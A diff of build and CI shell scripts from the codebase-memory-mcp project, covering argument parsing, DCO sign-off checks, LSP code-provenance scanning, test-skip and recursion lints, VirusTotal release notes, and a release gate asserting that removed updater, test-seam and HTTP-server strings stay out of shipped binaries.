|
||||
if [[ "${prev_arg:-}" == "--arch" ]]; then
|
||||
prev_arg="$arg"
|
||||
continue
|
||||
fi
|
||||
case "$arg" in
|
||||
--with-ui)
|
||||
WITH_UI=true
|
||||
;;
|
||||
--version)
|
||||
prev_arg="$arg"
|
||||
continue
|
||||
;;
|
||||
--arch|--arch=*)
|
||||
;; # already handled
|
||||
-*)
|
||||
# STRICT: an unknown flag never falls through into make where it
|
||||
# would fail cryptically (or worse, be absorbed).
|
||||
echo "build.sh: unknown option '$arg'. Please consult --help." >&2
|
||||
exit 2
|
||||
;;
|
||||
BUILD_DIR=*)
|
||||
BUILD_DIR="${arg#BUILD_DIR=}"
|
||||
EXTRA_MAKE_ARGS+=("$arg")
|
||||
;;
|
||||
CC=*|CXX=*)
|
||||
export "${arg}"
|
||||
EXTRA_MAKE_ARGS+=("$arg")
|
||||
;;
|
||||
*=*)
|
||||
EXTRA_MAKE_ARGS+=("$arg") # VAR=VAL make passthrough
|
||||
;;
|
||||
*)
|
||||
# Bare words are only ever the value of --version; anything else is
|
||||
# a usage error, not a silent make argument.
|
||||
if [[ "${prev_arg:-}" == "--version" ]]; then
|
||||
VERSION="$arg"
|
||||
else
|
||||
echo "build.sh: unexpected argument '$arg'. Please consult --help." >&2
|
||||
exit 2
|
||||
fi
|
||||
;;
|
||||
esac
|
||||
prev_arg="$arg"
|
||||
done
|
||||
|
||||
# Version flag
|
||||
CFLAGS_EXTRA=""
|
||||
if [[ -n "$VERSION" ]]; then
|
||||
CLEAN_VERSION="${VERSION#v}"
|
||||
CFLAGS_EXTRA="-DCBM_VERSION=\"\\\"$CLEAN_VERSION\\\"\""
|
||||
fi
|
||||
|
||||
print_env "build.sh"
|
||||
echo " ui=$WITH_UI version=${VERSION:-dev}"
|
||||
|
||||
# Verify compiler supports target arch
|
||||
verify_compiler "$CC"
|
||||
|
||||
# Step 1: Clean C build artifacts only (not node_modules — npm ci handles that)
|
||||
cbm_remove_build_dir "$ROOT" "$BUILD_DIR"
|
||||
|
||||
# Step 2: Build (Makefile applies $ARCHFLAGS for the target arch on macOS)
|
||||
if $WITH_UI; then
|
||||
make -j"$NPROC" -f Makefile.cbm cbm-with-ui \
|
||||
CFLAGS_EXTRA="$CFLAGS_EXTRA" "${EXTRA_MAKE_ARGS[@]+"${EXTRA_MAKE_ARGS[@]}"}"
|
||||
else
|
||||
make -j"$NPROC" -f Makefile.cbm cbm \
|
||||
CFLAGS_EXTRA="$CFLAGS_EXTRA" "${EXTRA_MAKE_ARGS[@]+"${EXTRA_MAKE_ARGS[@]}"}"
|
||||
fi
|
||||
|
||||
echo "=== Build complete: ${BUILD_DIR}/codebase-memory-mcp ==="
|
||||
@@ -0,0 +1,43 @@
|
||||
#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
|
||||
# DCO enforcement: every commit in the given range must carry a
|
||||
# Signed-off-by trailer whose email matches the commit author
|
||||
# (Developer Certificate of Origin 1.1 — see the DCO file).
|
||||
#
|
||||
# Usage: check-dco.sh <range> e.g. origin/main..HEAD, sha1..sha2
|
||||
#
|
||||
# Exemptions (same as the standard DCO checks): merge commits and
|
||||
# bot-authored commits (author name ending in [bot]).
|
||||
|
||||
RANGE="${1:?usage: check-dco.sh <commit-range>}"
|
||||
|
||||
FAIL=0
|
||||
CHECKED=0
|
||||
while IFS= read -r sha; do
|
||||
# Skip merge commits
|
||||
nparents=$(git rev-list --no-walk --parents -n1 "$sha" | wc -w)
|
||||
if [ "$nparents" -gt 2 ]; then
|
||||
continue
|
||||
fi
|
||||
author_name=$(git log -1 --format='%an' "$sha")
|
||||
case "$author_name" in
|
||||
*"[bot]") continue ;;
|
||||
esac
|
||||
CHECKED=$((CHECKED + 1))
|
||||
author_email=$(git log -1 --format='%ae' "$sha")
|
||||
trailers=$(git log -1 --format='%(trailers:key=Signed-off-by,valueonly)' "$sha")
|
||||
if ! printf '%s' "$trailers" | grep -qiF "<$author_email>"; then
|
||||
echo "BLOCKED: $sha lacks a Signed-off-by matching its author:"
|
||||
git log -1 --format=' author: %an <%ae>%n subject: %s' "$sha"
|
||||
echo " fix: git commit --amend -s (or: git rebase --signoff <base>)"
|
||||
FAIL=1
|
||||
fi
|
||||
done < <(git rev-list "$RANGE")
|
||||
|
||||
if [ "$FAIL" -ne 0 ]; then
|
||||
echo "=== DCO CHECK FAILED — every commit must be signed off (git commit -s) ==="
|
||||
echo "=== See the DCO file and CONTRIBUTING.md ==="
|
||||
exit 1
|
||||
fi
|
||||
echo "OK: $CHECKED commit(s) in $RANGE carry a valid Signed-off-by"
|
||||
@@ -0,0 +1,227 @@
|
||||
#!/usr/bin/env bash
|
||||
# check-lsp-originality.sh — Provenance guard for the hybrid LSP implementations.
|
||||
#
|
||||
# WHY THIS EXISTS
|
||||
# The LSP layer (internal/cbm/lsp/) is an original C implementation whose
|
||||
# behavior is "structurally inspired by and compatible with" the reference
|
||||
# language servers (pyright, gopls, tsserver, Roslyn, clangd, rust-analyzer,
|
||||
# …). We claim it contains NO source copied from those projects. This script
|
||||
# is the documented, runnable check that backs that claim — run it before
|
||||
# committing any NEW LSP implementation work, and review its report.
|
||||
#
|
||||
# WHAT IT CATCHES (the realistic copy "tells", and they survive a language port)
|
||||
# 1. Verbatim string / error-message literals shared with a reference.
|
||||
# 2. Verbatim comment phrases shared with a reference (the classic port tell:
|
||||
# people re-type the logic but keep the explanatory comments).
|
||||
# 3. Same-language structural clones via jscpd (uses `jscpd` on PATH, else
|
||||
# `npx --yes jscpd`) — token-level clone detection, run only for clangd
|
||||
# (C++ ↔ our C), the one reference close enough to C to tokenize alike.
|
||||
#
|
||||
# WHAT IT CANNOT CATCH (be honest — these need a human)
|
||||
# An algorithm ported line-by-line with every identifier/comment rewritten is
|
||||
# NOT machine-detectable cheaply across C↔TS/Go/C#/Rust/Java. A clean report
|
||||
# is necessary, not sufficient: it means "no verbatim overlap found", not
|
||||
# "provably independent". The git history (incremental, test-driven authorship)
|
||||
# is the complementary evidence; keep it clean.
|
||||
#
|
||||
# USAGE
|
||||
# bash scripts/check-lsp-originality.sh [--lang NAME] [--refresh]
|
||||
# [--list-candidates] [--help]
|
||||
# --lang NAME scan against ONE reference only (py|ts|go|cs|c|java|kotlin|rust|php|perl)
|
||||
# --refresh re-fetch reference sources even if cached
|
||||
# --list-candidates print the extracted local tokens and exit (no fetch; self-test)
|
||||
# Exit 0 = no verbatim overlap found. Exit 1 = overlap(s) to review by a human.
|
||||
#
|
||||
# Reference sources are shallow/sparse-cloned into $LSP_REFS_DIR (default
|
||||
# .lsp-refs/, gitignored). Adding a new LSP language? Add its upstream repo to
|
||||
# the REFS manifest below so this guard covers it too.
|
||||
set -uo pipefail
|
||||
|
||||
ROOT="$(cd "$(dirname "$0")/.." && pwd)"
|
||||
TAG="[lsp-orig]"
|
||||
LSP_DIR="$ROOT/internal/cbm/lsp"
|
||||
REFS_DIR="${LSP_REFS_DIR:-$ROOT/.lsp-refs}"
|
||||
|
||||
# Tunables (override via env).
|
||||
MIN_STR="${LSP_ORIG_MIN_STR:-16}" # min length of a string literal to consider
|
||||
MIN_COMMENT="${LSP_ORIG_MIN_COMMENT:-30}" # min length of a comment phrase to consider
|
||||
MIN_TOKENS="${LSP_ORIG_MIN_TOKENS:-50}" # jscpd structural-clone min token run
|
||||
|
||||
# Reference manifest: lang | git URL | sparse subpath (light checkout)
|
||||
REFS=(
|
||||
"py|https://github.com/microsoft/pyright|packages/pyright-internal/src"
|
||||
"ts|https://github.com/microsoft/TypeScript|src/compiler,src/services"
|
||||
"go|https://github.com/golang/tools|gopls/internal"
|
||||
"cs|https://github.com/dotnet/roslyn|src/Compilers/CSharp/Portable"
|
||||
"c|https://github.com/llvm/llvm-project|clang-tools-extra/clangd"
|
||||
"java|https://github.com/eclipse-jdtls/eclipse.jdt.ls|org.eclipse.jdt.ls.core/src"
|
||||
"kotlin|https://github.com/fwcd/kotlin-language-server|server/src"
|
||||
"rust|https://github.com/rust-lang/rust-analyzer|crates"
|
||||
# PHP was implemented from specs (PHP language ref + PSR-4), with no upstream
|
||||
# LSP. We scan against phpactor (MIT) — the leading OSS PHP language server —
|
||||
# purely for defensive copy-detection. NOT Intelephense (proprietary).
|
||||
"php|https://github.com/phpactor/phpactor|lib"
|
||||
# Perl (PR #461) was authored clean-room. We scan against PerlNavigator (MIT)
|
||||
# — the leading OSS Perl language server — for defensive copy-detection.
|
||||
"perl|https://github.com/bscan/PerlNavigator|server/src"
|
||||
)
|
||||
|
||||
ONLY_LANG=""; REFRESH=0; LIST_ONLY=0
|
||||
while [ $# -gt 0 ]; do
|
||||
case "$1" in
|
||||
--lang) ONLY_LANG="${2:-}"; shift 2 ;;
|
||||
--refresh) REFRESH=1; shift ;;
|
||||
--list-candidates) LIST_ONLY=1; shift ;;
|
||||
--help|-h) sed -n '2,40p' "$0"; exit 0 ;;
|
||||
*) echo "$TAG unknown arg: $1" >&2; exit 2 ;;
|
||||
esac
|
||||
done
|
||||
|
||||
if ! command -v rg >/dev/null 2>&1; then
|
||||
echo "$TAG ERROR: ripgrep (rg) is required." >&2; exit 2
|
||||
fi
|
||||
|
||||
# --- 1. Extract distinctive local tokens from our LSP C sources ---------------
|
||||
# Skip generated/ (machine-emitted stdlib tables, not hand-authored logic).
|
||||
# bash 3.2 (macOS default) has no `mapfile` — build the array with a read loop.
|
||||
LSP_SRC=()
|
||||
while IFS= read -r f; do LSP_SRC+=("$f"); done < <(
|
||||
find "$LSP_DIR" -type f \( -name '*.c' -o -name '*.h' \) -not -path '*/generated/*' | sort)
|
||||
if [ "${#LSP_SRC[@]}" -eq 0 ]; then
|
||||
echo "$TAG ERROR: no LSP sources under $LSP_DIR" >&2; exit 2
|
||||
fi
|
||||
|
||||
CAND="$(mktemp)"; trap 'rm -f "$CAND" "$CAND.s" "$CAND.c" 2>/dev/null' EXIT
|
||||
|
||||
# String literals of interest: >= MIN_STR chars, contain a letter and a space
|
||||
# (favours human-readable phrases / messages over format specifiers & symbols).
|
||||
rg --no-filename -o "\"[^\"]{${MIN_STR},}\"" "${LSP_SRC[@]}" 2>/dev/null \
|
||||
| sed -E 's/^"//; s/"$//' \
|
||||
| rg '[A-Za-z].* ' \
|
||||
| rg -v '^(%|https?://|[0-9. ]+$)' \
|
||||
| sort -u > "$CAND.s"
|
||||
|
||||
# Comment phrases: // line comments and single-line /* ... */, >= MIN_COMMENT.
|
||||
{ rg --no-filename -o '//[^\n]+' "${LSP_SRC[@]}" 2>/dev/null | sed -E 's#^//+##'
|
||||
rg --no-filename -o '/\*.*\*/' "${LSP_SRC[@]}" 2>/dev/null | sed -E 's#^/\*+##; s#\*+/$##'
|
||||
} | sed -E 's/^[[:space:]*]+//; s/[[:space:]]+$//' \
|
||||
| awk -v n="$MIN_COMMENT" 'length($0) >= n' \
|
||||
| rg -v -i '^(todo|fixme|note|hack|xxx|copyright|spdx|clang-format|nolint|fallthrough)\b' \
|
||||
| sort -u > "$CAND.c"
|
||||
|
||||
# Keep only "meaningful" tokens: at least two real words (drops decorative
|
||||
# dividers like ===== / ----- / box-drawing rules that collide with banners).
|
||||
cat "$CAND.s" "$CAND.c" | grep -v '^[[:space:]]*$' \
|
||||
| rg -P '[A-Za-z]{3,}[^A-Za-z]+[A-Za-z]{2,}' \
|
||||
| sort -u > "$CAND"
|
||||
n_str=$(wc -l < "$CAND.s" | tr -d ' '); n_com=$(wc -l < "$CAND.c" | tr -d ' ')
|
||||
echo "$TAG extracted $(wc -l < "$CAND" | tr -d ' ') candidate tokens from ${#LSP_SRC[@]} LSP sources ($n_str strings, $n_com comments)"
|
||||
|
||||
if [ "$LIST_ONLY" -eq 1 ]; then
|
||||
echo "$TAG --- candidate tokens (no fetch performed) ---"
|
||||
cat "$CAND"
|
||||
exit 0
|
||||
fi
|
||||
if [ ! -s "$CAND" ]; then
|
||||
echo "$TAG no candidate tokens — nothing to compare."; exit 0
|
||||
fi
|
||||
|
||||
# --- 2. Fetch reference sources (shallow + sparse) ----------------------------
|
||||
fetch_ref() {
|
||||
local lang="$1" url="$2" subpath="$3" dst="$REFS_DIR/$lang"
|
||||
if [ -d "$dst/.git" ] && [ "$REFRESH" -eq 0 ]; then return 0; fi
|
||||
rm -rf "$dst"; mkdir -p "$dst"
|
||||
echo "$TAG fetching $lang ($url :: $subpath) ..."
|
||||
if ! git clone --depth 1 --filter=blob:none --sparse "$url" "$dst" >/dev/null 2>&1; then
|
||||
echo "$TAG WARN: clone failed for $lang — skipping"; rm -rf "$dst"; return 1
|
||||
fi
|
||||
( cd "$dst" && git sparse-checkout set ${subpath//,/ } >/dev/null 2>&1 ) || true
|
||||
}
|
||||
|
||||
# --- 3. Search candidates in each reference -----------------------------------
|
||||
# Restrict to source code — license texts, changelogs and docs are not "copying".
|
||||
REF_GLOBS=(-g '!**/LICENSE*' -g '!**/COPYING*' -g '!**/NOTICE*' -g '!**/CHANGELOG*'
|
||||
-g '!**/*.md' -g '!**/*.txt' -g '!**/*.json' -g '!**/*.yml' -g '!**/*.yaml')
|
||||
total_hits=0
|
||||
for entry in "${REFS[@]}"; do
|
||||
IFS='|' read -r lang url subpath <<< "$entry"
|
||||
[ -n "$ONLY_LANG" ] && [ "$ONLY_LANG" != "$lang" ] && continue
|
||||
fetch_ref "$lang" "$url" "$subpath" || continue
|
||||
dst="$REFS_DIR/$lang"
|
||||
[ -d "$dst" ] || continue
|
||||
|
||||
# Fixed-string search of every candidate across this reference tree.
|
||||
hits=$(rg -F -l "${REF_GLOBS[@]}" -f "$CAND" "$dst" 2>/dev/null | wc -l | tr -d ' ')
|
||||
if [ "${hits:-0}" -gt 0 ]; then
|
||||
echo ""
|
||||
echo "$TAG ⚠ overlap with reference '$lang' ($url):"
|
||||
# Show which candidate matched where (cap output).
|
||||
rg -F -n "${REF_GLOBS[@]}" -f "$CAND" "$dst" 2>/dev/null | head -40
|
||||
total_hits=$((total_hits + hits))
|
||||
else
|
||||
echo "$TAG ok — no verbatim overlap with '$lang'"
|
||||
fi
|
||||
done
|
||||
|
||||
# --- 4. Structural-clone pass (clangd C++ <-> our C; the only same-ish language)
|
||||
# String search misses ports that kept the code structure but rewrote identifiers
|
||||
# and strings. jscpd is a token clone detector; it tokenizes per format, so we
|
||||
# stage both trees as .cpp (C tokenizes fine as C++) and report only clone pairs
|
||||
# that SPAN the two trees.
|
||||
structural_hits=0
|
||||
if [ -z "$ONLY_LANG" ] || [ "$ONLY_LANG" = "c" ]; then
|
||||
JSCPD=""
|
||||
if command -v jscpd >/dev/null 2>&1; then JSCPD="jscpd"
|
||||
elif command -v npx >/dev/null 2>&1; then JSCPD="npx --yes jscpd"; fi
|
||||
cdir="$REFS_DIR/c"
|
||||
if [ -z "$JSCPD" ]; then
|
||||
echo "$TAG structural pass skipped — install jscpd (npm i -g jscpd) or node/npx to enable"
|
||||
elif [ ! -d "$cdir" ]; then
|
||||
echo "$TAG structural pass skipped — clangd ref not fetched (run without --lang, or --lang c)"
|
||||
else
|
||||
stage="$(mktemp -d)"; jout="$(mktemp -d)"
|
||||
for f in "${LSP_SRC[@]}"; do
|
||||
cp "$f" "$stage/ours__$(echo "${f#$LSP_DIR/}" | tr '/' '_').cpp"
|
||||
done
|
||||
while IFS= read -r f; do
|
||||
cp "$f" "$stage/clangd__$(echo "${f#$cdir/}" | tr '/' '_').cpp" 2>/dev/null
|
||||
done < <(find "$cdir" -type f \( -name '*.cpp' -o -name '*.cc' -o -name '*.cxx' \
|
||||
-o -name '*.h' -o -name '*.hpp' \))
|
||||
echo "$TAG structural pass (jscpd, >= ${MIN_TOKENS} tokens, clangd C++ <-> our C) ..."
|
||||
$JSCPD --silent --reporters json --output "$jout" --min-tokens "$MIN_TOKENS" "$stage" >/dev/null 2>&1 || true
|
||||
pairs=""
|
||||
if [ -f "$jout/jscpd-report.json" ]; then
|
||||
pairs=$(jq -r '.duplicates[]?
|
||||
| select((.firstFile.name|contains("ours__")) != (.secondFile.name|contains("ours__")))
|
||||
| " \(.firstFile.name|gsub(".*/";"")) <-> \(.secondFile.name|gsub(".*/";"")) [\(.lines) lines]"' \
|
||||
"$jout/jscpd-report.json" 2>/dev/null | sort -u)
|
||||
fi
|
||||
if [ -n "$pairs" ]; then
|
||||
echo "$TAG ⚠ structural clones spanning our C and clangd:"; echo "$pairs" | head -20
|
||||
structural_hits=1
|
||||
else
|
||||
echo "$TAG ok — no structural clones (>= ${MIN_TOKENS} tokens) between our C and clangd"
|
||||
fi
|
||||
rm -rf "$stage" "$jout"
|
||||
fi
|
||||
fi
|
||||
|
||||
echo ""
|
||||
if [ "$total_hits" -gt 0 ] || [ "$structural_hits" -gt 0 ]; then
|
||||
if [ "$total_hits" -gt 0 ]; then
|
||||
echo "$TAG REVIEW NEEDED: $total_hits reference file(s) share a verbatim string/comment"
|
||||
echo "$TAG with internal/cbm/lsp/. A hit is NOT proof of copying (common phrases collide)"
|
||||
echo "$TAG — inspect each, confirm independent wording, reword genuinely-copied text."
|
||||
fi
|
||||
if [ "$structural_hits" -gt 0 ]; then
|
||||
echo "$TAG REVIEW NEEDED: jscpd found structurally-cloned block(s) between our C and"
|
||||
echo "$TAG clangd — inspect the pairs above and confirm independent implementation."
|
||||
fi
|
||||
echo "$TAG Re-run until clean before committing."
|
||||
exit 1
|
||||
fi
|
||||
echo "$TAG CLEAN — no verbatim string/comment overlap with any reference, and no"
|
||||
echo "$TAG structural clones (jscpd) between our C and clangd."
|
||||
echo "$TAG (Reminder: this proves no verbatim/structural overlap, not provable"
|
||||
echo "$TAG independence — the incremental git history is the complementary evidence.)"
|
||||
exit 0
|
||||
@@ -0,0 +1,45 @@
|
||||
#!/usr/bin/env bash
|
||||
# check-no-test-skips.sh — Enforce the no-skips test policy in the lint phase.
|
||||
#
|
||||
# Every test must PASS or FAIL. The ONLY tolerable skip is a genuinely
|
||||
# platform-specific test that cannot run on the current OS (e.g. a Windows-only
|
||||
# test on macOS); those must use the SKIP_PLATFORM() macro (or #ifdef
|
||||
# compile-gating). A plain SKIP() — or any direct tf_skip_count manipulation —
|
||||
# in a test source means a setup/environment/resource failure is being hidden
|
||||
# instead of surfaced as a failure. That fails this check.
|
||||
#
|
||||
# Rationale: a test that cannot establish its preconditions has FAILED, not been
|
||||
# "skipped". Convert such SKIP() to FAIL("reason").
|
||||
#
|
||||
# Usage: bash scripts/check-no-test-skips.sh (exit 0 = clean, 1 = violations)
|
||||
set -uo pipefail
|
||||
|
||||
ROOT="$(cd "$(dirname "$0")/.." && pwd)"
|
||||
violations=0
|
||||
|
||||
# 1. Plain SKIP( in test sources.
|
||||
# - SKIP_PLATFORM( never matches "SKIP(" (the char after SKIP is '_').
|
||||
# - The SKIP()/FAIL()/SKIP_PLATFORM() macro DEFINITIONS live in
|
||||
# tests/test_framework.h (a .h), which the tests/*.c glob does not scan.
|
||||
while IFS= read -r hit; do
|
||||
echo "[no-skips] FORBIDDEN SKIP(): $hit"
|
||||
violations=$((violations + 1))
|
||||
done < <(grep -rnE '(^|[^A-Za-z0-9_])SKIP\(' "$ROOT"/tests/*.c 2>/dev/null || true)
|
||||
|
||||
# 2. Direct tf_skip_count increment in a test source (only the framework's
|
||||
# SKIP_PLATFORM macro, defined in the .h, may touch it).
|
||||
while IFS= read -r hit; do
|
||||
echo "[no-skips] FORBIDDEN tf_skip_count manipulation: $hit"
|
||||
violations=$((violations + 1))
|
||||
done < <(grep -rnE 'tf_skip_count[[:space:]]*(\+\+|\+=|--)' "$ROOT"/tests/*.c 2>/dev/null || true)
|
||||
|
||||
if [ "$violations" -gt 0 ]; then
|
||||
echo ""
|
||||
echo "[no-skips] FAIL: $violations violation(s). Tests must pass or fail."
|
||||
echo " setup / environment / resource failures -> FAIL(\"reason\")"
|
||||
echo " genuinely platform-specific tests -> SKIP_PLATFORM(\"reason\") or #ifdef"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "[no-skips] OK — no forbidden skips in tests/*.c (SKIP_PLATFORM allowed for platform-only tests)"
|
||||
exit 0
|
||||
@@ -0,0 +1,31 @@
|
||||
#!/usr/bin/env bash
|
||||
# Verify NOLINT(misc-no-recursion) only appears on whitelisted functions.
|
||||
WHITELIST="src/foundation/recursion_whitelist.h"
|
||||
if [ ! -f "$WHITELIST" ]; then
|
||||
echo "ERROR: $WHITELIST not found"; exit 1
|
||||
fi
|
||||
ALLOWED=$(grep -oE '"[a-zA-Z_][a-zA-Z0-9_]*"' "$WHITELIST" | tr -d '"' | sort -u)
|
||||
|
||||
HITS=$(grep -rn 'NOLINT(misc-no-recursion)' src/ internal/cbm/*.c internal/cbm/*.h 2>/dev/null \
|
||||
| grep -v vendored | grep -v recursion_whitelist)
|
||||
if [ -z "$HITS" ]; then exit 0; fi
|
||||
|
||||
FAIL=0
|
||||
while IFS= read -r line; do
|
||||
FILE=$(echo "$line" | cut -d: -f1)
|
||||
LN=$(echo "$line" | cut -d: -f2)
|
||||
# Check current line AND 5 lines above for the function name
|
||||
CONTEXT=$(sed -n "$((LN > 5 ? LN - 5 : 1)),${LN}p" "$FILE")
|
||||
FOUND=0
|
||||
for fn in $ALLOWED; do
|
||||
if echo "$CONTEXT" | grep -qw "$fn"; then
|
||||
FOUND=1; break
|
||||
fi
|
||||
done
|
||||
if [ "$FOUND" -eq 0 ]; then
|
||||
echo "ERROR: NOLINT(misc-no-recursion) on non-whitelisted function:"
|
||||
echo " $line"
|
||||
FAIL=1
|
||||
fi
|
||||
done <<< "$HITS"
|
||||
exit $FAIL
|
||||
@@ -0,0 +1,18 @@
|
||||
# scripts/ci/ — venue plumbing (single implementations)
|
||||
|
||||
Support scripts that keep the venues in the SAME shape. Each exists because
|
||||
the logic used to live inline in workflow YAML or was hand-duplicated between
|
||||
CI and the local infrastructure — both of which the venue-parity contract
|
||||
(`tests/test_venue_parity_contract.sh`) now forbids. Everything here answers
|
||||
`--help` (PowerShell: comment-based help, `Get-Help <script>`).
|
||||
|
||||
| script | job | called by |
|
||||
|---|---|---|
|
||||
| `new-protected-temp-root.ps1` | Create the owner-stamped, inheritance-protected per-user TEMP root the daemon/install suites require (shared `/tmp` and default runner TEMP grant Authenticated-Users mutation rights, which the trust policy correctly refuses — running there produces security refusals, not signal). `-ProtectDir` stamps build dirs the same way. | `_test.yml`, `_soak.yml`, `vm-run-tests.sh` |
|
||||
| `clean-test-residue.ps1` | Sweep `cbm-*` residue from the Windows VM and assert runner-like free disk (default 14 GB — the GitHub runner's SSD). Long-path `\\?\` fallback for the guard suites' adversarial trees; every removal VERIFIED (an earlier version counted attempts and reported 86 swept while 11 GB remained). BLOCKS below the floor: a disk that fills mid-run reads as a product bug. | `win.sh` before every build/run |
|
||||
| `preflight-docker.sh` | Same idea for Colima/docker: prune runner-unlike residue, assert free space on the filesystem backing the docker data root (not the VM's `/`). Build cache + named volumes KEPT (the local analogue of actions/cache); `--deep` drops them. | `test-infrastructure/run.sh` |
|
||||
| `check-glibc-compat.sh` | Run a linux binary in debian:bullseye (glibc 2.31) — the portable binary must start on old glibc. | `_smoke.yml` portable legs |
|
||||
| `generate-sbom.py` | The release SPDX SBOM (vendored versions reviewable here, diffable by vendoring PRs — was inline YAML). | `release.yml` |
|
||||
| `require-all-green.sh` | The aggregate gate: fail unless every needed job succeeded or legitimately skipped (was inline YAML). | `pr.yml ci-ok` |
|
||||
| `verify-shard-union.sh` | Prove sharded test legs lost nothing: shard count agreement, indices 1..n, identical suite lists, union of slices == full list (was inline YAML). | `_test.yml` shard-completeness |
|
||||
| `check-virustotal.sh` | Release-asset VirusTotal lookups. | `release.yml` |
|
||||
@@ -0,0 +1,29 @@
|
||||
#!/usr/bin/env bash
|
||||
# Append the Security Verification section to the release notes: per-binary
|
||||
# sha256 + VirusTotal links. This step only runs after check-virustotal.sh
|
||||
# passed, and that gate is ZERO tolerance — any detection blocks the release —
|
||||
# so "0 detections" here is a verified statement, never an assumption.
|
||||
# Expects: GH_TOKEN, VERSION; run from the verify job workspace (binaries/).
|
||||
set -euo pipefail
|
||||
|
||||
TABLE="\n\n## Security Verification\n\n"
|
||||
TABLE+="All release binaries scanned with 70+ antivirus engines — **0 detections**.\n\n"
|
||||
TABLE+="| Binary | SHA-256 | VirusTotal |\n"
|
||||
TABLE+="|--------|---------|------------|\n"
|
||||
|
||||
for bin in binaries/codebase-memory-mcp-*; do
|
||||
[ -f "$bin" ] || continue
|
||||
name=$(basename "$bin")
|
||||
sha256=$(sha256sum "$bin" 2>/dev/null | awk '{print $1}' \
|
||||
|| shasum -a 256 "$bin" | awk '{print $1}')
|
||||
label=$(echo "$name" | sed 's/^codebase-memory-mcp-//' | sed 's/\.exe$//')
|
||||
short="${sha256:0:20}..."
|
||||
vt_url="https://www.virustotal.com/gui/file/${sha256}/detection"
|
||||
TABLE+="| \`${label}\` | \`${short}\` | [0 detections ✅](${vt_url}) |\n"
|
||||
done
|
||||
|
||||
CURRENT=$(gh release view "$VERSION" \
|
||||
--json body --jq '.body // ""' --repo "$GITHUB_REPOSITORY")
|
||||
printf '%s%b' "$CURRENT" "$TABLE" > /tmp/release_notes.md
|
||||
gh release edit "$VERSION" \
|
||||
--notes-file /tmp/release_notes.md --repo "$GITHUB_REPOSITORY"
|
||||
@@ -0,0 +1,404 @@
|
||||
#!/usr/bin/env bash
|
||||
# check-binary-composition.sh — release gate: assert what must NOT be inside a
|
||||
# shipped artifact.
|
||||
#
|
||||
# Microsoft Defender's ML classifier flagged the v0.9.1-rc.1 binaries. The
|
||||
# hardening pass that followed *removed capability* — an executable stack, an
|
||||
# in-process updater, test-only environment seams, the embedded HTTP/UI server
|
||||
# and its process enumerator in the standard build. Each of those regresses
|
||||
# invisibly: one restored #include, one Makefile source list edit, one revived
|
||||
# call site, and nothing else in CI notices — the binary just quietly gets its
|
||||
# malware-shaped surface back and the next release gets flagged again.
|
||||
#
|
||||
# This script is the proof that each removal stayed removed. It asserts only
|
||||
# NEGATIVE properties (needle absent), plus one canary string we know ships,
|
||||
# because an absence check aimed at the wrong file — a compressed artifact, a
|
||||
# stub, a truncated download — would otherwise pass vacuously and read green.
|
||||
# A missing tool is a hard error for the same reason: a skipped assertion must
|
||||
# never look like a satisfied one.
|
||||
#
|
||||
# Usage: scripts/ci/check-binary-composition.sh [--variant=auto|standard|ui] <binary-or-dir>...
|
||||
# Directories are scanned recursively; format (ELF / Mach-O / PE) is detected
|
||||
# per file from its magic bytes and each assertion runs where it is
|
||||
# meaningful. Exit 0 = every assertion passed, 1 = at least one failed,
|
||||
# 2 = usage error, missing tool, or nothing checkable was found (a vacuous
|
||||
# run is a failure, not a pass).
|
||||
set -euo pipefail
|
||||
|
||||
case "${1:-}" in
|
||||
-h | --help)
|
||||
sed -n '2,25p' "$0" | sed 's/^# \{0,1\}//'
|
||||
exit 0
|
||||
;;
|
||||
esac
|
||||
|
||||
# ── Needles ─────────────────────────────────────────────────────────
|
||||
# Every needle below was grep-verified against the tree it comes from: it
|
||||
# exists ONLY in the code the assertion is about, so a hit means that code is
|
||||
# linked in, not that some unrelated string happens to look similar.
|
||||
|
||||
# S6: worker/Windows test seams read these env vars. A release binary that
|
||||
# still honours them lets any process on the box steer the indexer's child
|
||||
# processes and file placement — and CBM_TEST_* in a shipped binary is exactly
|
||||
# the "debug/injection hooks" shape AV heuristics score on.
|
||||
SEAM_NEEDLES=(
|
||||
'CBM_TEST_WORKER_DESCENDANT_PID_FILE'
|
||||
'CBM_TEST_WINDOWS_USER_PATH_RUN_ID'
|
||||
)
|
||||
|
||||
# The in-process updater (download-and-replace-own-binary) is the single most
|
||||
# malware-shaped behaviour we ever shipped; updates now run from install.sh
|
||||
# out-of-process. These four needles cover both halves of what was removed:
|
||||
# the download base URL, the checksum URL built on top of it, the GitHub API
|
||||
# release query of the daemon's background version check, and that request's
|
||||
# Accept header (which survives even if the URL is ever assembled at runtime).
|
||||
UPDATER_NEEDLES=(
|
||||
'releases/latest/download'
|
||||
'api.github.com/repos'
|
||||
'releases/latest'
|
||||
'Accept: application/vnd.github+json'
|
||||
)
|
||||
|
||||
# SQLite loadable extensions = arbitrary code execution through a database
|
||||
# file. The amalgamation is built with SQLITE_OMIT_LOAD_EXTENSION; if that ever
|
||||
# drops out, dlopen()/LoadLibrary() re-enters the store layer.
|
||||
# NOTE: release binaries are stripped, so the two API symbol names only appear
|
||||
# when the surface is *exported*. The dlopen error text is the needle that
|
||||
# still works on a stripped build — it is compiled in only when the feature is.
|
||||
SQLITE_LOADEXT_NEEDLES=(
|
||||
'sqlite3_load_extension'
|
||||
'sqlite3_enable_load_extension'
|
||||
'unable to open shared library ['
|
||||
)
|
||||
|
||||
# The standard artifact must not contain the UI's HTTP server at all: an
|
||||
# unauthenticated localhost listener plus a process enumerator is precisely the
|
||||
# behaviour pair a classifier reads as a backdoor. Needles are split across
|
||||
# both UI translation units and are independent of each other, so a refactor of
|
||||
# any single one cannot silently disarm the assertion:
|
||||
# 'HTTP/1.1 %d %s' httpd.c response-status writer
|
||||
# 'Request Header Fields Too Large' httpd.c status-text table
|
||||
# '/api/ui-config', '/api/processes' http_server.c route dispatch
|
||||
# 'ps -eo …' / '[c]odebase-memory-mcp' the popen() process enumerator's
|
||||
# shell pipeline, both halves
|
||||
# Verified unique to src/ui/ across src/, vendored/ and internal/ — the only
|
||||
# other occurrences in the repo are tests/test_httpd.c and scripts/, neither of
|
||||
# which is ever linked into a release binary.
|
||||
UI_HTTP_NEEDLES=(
|
||||
'HTTP/1.1 %d %s'
|
||||
'Request Header Fields Too Large'
|
||||
'/api/ui-config'
|
||||
'/api/processes'
|
||||
'ps -eo pid,pcpu,rss,etime,comm'
|
||||
'[c]odebase-memory-mcp'
|
||||
)
|
||||
|
||||
